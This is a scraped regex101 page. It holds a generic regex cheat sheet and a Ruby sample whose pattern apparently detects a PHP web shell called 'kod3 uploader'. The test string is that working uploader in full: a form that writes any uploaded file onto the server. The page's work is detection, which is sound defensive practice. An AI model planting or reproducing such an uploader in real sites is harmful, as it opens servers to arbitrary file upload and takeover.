Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Language

Generated Code

re = /^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*echo\s*['"]<title>kod3 uploader<\/title>.{0,70}?multipart\/form-data["']\s*name=["']uploader.{0,240}?\@move_uploaded_file\(\$_files\[["']file['"]\].{0,50}?echo\s*['"]upload\s*successfully.{0,60}?[[:punct:]\s]+$/i str = '<?php echo "<title>kod3 Uploader</title>"; echo "<form method=\'post\' enctype=\'multipart/form-data\' name=\'uploader\'>"; echo \'<input type="file" name="file" ><input name="upl" type="submit" id="upl" value="Upload"></form>\'; if(isset($_POST[\'upl\'])&&$_POST[\'upl\']== "Upload"){ if(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])){ echo \'Upload Successfully ;)<br><br>\'; }else{ echo \'Upload failed :(<br><br>\'; } } ?>' # Print the match result str.scan(re) do |match| puts match.to_s end

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Ruby, please visit: http://ruby-doc.org/core-2.2.0/Regexp.html